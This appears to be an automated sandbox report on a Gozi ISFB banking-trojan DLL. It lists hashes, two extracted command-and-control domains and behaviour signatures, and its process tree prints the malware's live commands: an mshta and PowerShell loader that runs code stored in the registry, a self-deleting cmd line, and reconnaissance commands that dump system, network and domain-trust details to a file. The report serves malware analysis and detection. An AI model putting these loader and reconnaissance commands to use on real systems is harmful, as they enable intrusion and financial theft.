Resubmissions

23/03/2022, 11:22

220323-ngp6zahdal 10

24/01/2022, 10:09

220124-l6sx2sebc2 10

Analysis

  • max time kernel
    143s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24/01/2022, 10:09

General

  • Target

    61ee6edf7de65.dll

  • Size

    95KB

  • MD5

    b6f0fc5638a110abac1a54805f77e786

  • SHA1

    f7eff5f67b1b794759ec0ba9b0d6a3bd5cd59bfe

  • SHA256

    06e26611fe5cf2fb04cfa894f9cb24edc0ab8306cf42c979b2c776372d07d1cf

  • SHA512

    b92f671821476bb041bd96a38b1ff300365d12d2fb6bec6266cfbd0f7613a3551807ddc3887ebee13911843322c3274af2a65ca1c38291b45506b433cccd15a8

Malware Config

Extracted

Family

gozi_ifsb

Botnet

20000

C2

giporedtrip.at

habpfans.at

Attributes
  • base_path

    /drew/

  • build

    260224

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

20000

C2

giporedtrip.at

habpfans.at

Attributes
  • base_path

    /images/

  • build

    260224

  • exe_type

    worker

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 3 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll,#1
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        PID:2040
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Shva='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Shva).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\A97B9ACF-F490-C387-46ED-68A7DA711CCB\\\StartDevice'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name micdnux -value gp; new-alias -name wsfkguhx -value iex; wsfkguhx ([System.Text.Encoding]::ASCII.GetString((micdnux "HKCU:Software\AppDataLow\Software\Microsoft\A97B9ACF-F490-C387-46ED-68A7DA711CCB").OptionsAbout))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ffdjt0df.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES52D2.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC52C2.tmp"
            5⤵
              PID:1888
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7cp2lteu.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:752
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES535F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC535E.tmp"
              5⤵
                PID:264
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:916
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\B840.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1612
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:1072
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B840.bi1"
            2⤵
              PID:1020
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\4868.bin1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:748
              • C:\Windows\system32\systeminfo.exe
                systeminfo.exe
                3⤵
                • Gathers system information
                PID:1368
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:1832
              • C:\Windows\system32\cmd.exe
                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                2⤵
                  PID:1800
                • C:\Windows\system32\cmd.exe
                  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                  2⤵
                    PID:980
                    • C:\Windows\system32\net.exe
                      net view
                      3⤵
                      • Discovers systems in the same network
                      PID:1240
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                    2⤵
                      PID:520
                    • C:\Windows\system32\cmd.exe
                      cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                      2⤵
                        PID:2040
                        • C:\Windows\system32\nslookup.exe
                          nslookup 127.0.0.1
                          3⤵
                            PID:1604
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                          2⤵
                            PID:1720
                          • C:\Windows\system32\cmd.exe
                            cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                            2⤵
                              PID:1612
                              • C:\Windows\system32\tasklist.exe
                                tasklist.exe /SVC
                                3⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1584
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                              2⤵
                                PID:308
                              • C:\Windows\system32\cmd.exe
                                cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                2⤵
                                  PID:1620
                                  • C:\Windows\system32\driverquery.exe
                                    driverquery.exe
                                    3⤵
                                      PID:912
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                    2⤵
                                      PID:1776
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                      2⤵
                                        PID:1404
                                        • C:\Windows\system32\reg.exe
                                          reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                          3⤵
                                            PID:440
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                          2⤵
                                            PID:1496
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                            2⤵
                                              PID:1668
                                              • C:\Windows\system32\net.exe
                                                net config workstation
                                                3⤵
                                                  PID:1960
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 config workstation
                                                    4⤵
                                                      PID:1240
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                  2⤵
                                                    PID:768
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                    2⤵
                                                      PID:1416
                                                      • C:\Windows\system32\nltest.exe
                                                        nltest /domain_trusts
                                                        3⤵
                                                          PID:2040
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                        2⤵
                                                          PID:1616
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                          2⤵
                                                            PID:1508
                                                            • C:\Windows\system32\nltest.exe
                                                              nltest /domain_trusts /all_trusts
                                                              3⤵
                                                                PID:1384
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                              2⤵
                                                                PID:1552
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                                2⤵
                                                                  PID:308
                                                                  • C:\Windows\system32\net.exe
                                                                    net view /all /domain
                                                                    3⤵
                                                                    • Discovers systems in the same network
                                                                    PID:1544
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                                  2⤵
                                                                    PID:1740
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                                    2⤵
                                                                      PID:1736
                                                                      • C:\Windows\system32\net.exe
                                                                        net view /all
                                                                        3⤵
                                                                        • Discovers systems in the same network
                                                                        PID:1592
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                                      2⤵
                                                                        PID:816
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\4868.bin1 > C:\Users\Admin\AppData\Local\Temp\4868.bin & del C:\Users\Admin\AppData\Local\Temp\4868.bin1"
                                                                        2⤵
                                                                          PID:1496

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/916-84-0x0000000001B40000-0x0000000001BF8000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/916-83-0x0000000000180000-0x0000000000181000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1048-62-0x00000000028F0000-0x00000000028F2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1048-78-0x000000001B630000-0x000000001B674000-memory.dmp

                                                                              Filesize

                                                                              272KB

                                                                            • memory/1048-63-0x00000000028F2000-0x00000000028F4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1048-64-0x00000000028F4000-0x00000000028F7000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1048-65-0x00000000028FB000-0x000000000291A000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1048-61-0x000007FEEE460000-0x000007FEEEFBD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1176-59-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1284-79-0x0000000002A50000-0x0000000002A51000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1284-80-0x0000000006B30000-0x0000000006BE8000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1592-81-0x0000000000310000-0x0000000000311000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1592-82-0x0000000001B70000-0x0000000001C28000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1832-87-0x0000000001C70000-0x0000000001D1A000-memory.dmp

                                                                              Filesize

                                                                              680KB

                                                                            • memory/2040-55-0x00000000760F1000-0x00000000760F3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2040-58-0x00000000001A0000-0x00000000001A2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2040-57-0x0000000075040000-0x000000007505C000-memory.dmp

                                                                              Filesize

                                                                              112KB

                                                                            • memory/2040-56-0x0000000002020000-0x0000000002030000-memory.dmp

                                                                              Filesize

                                                                              64KB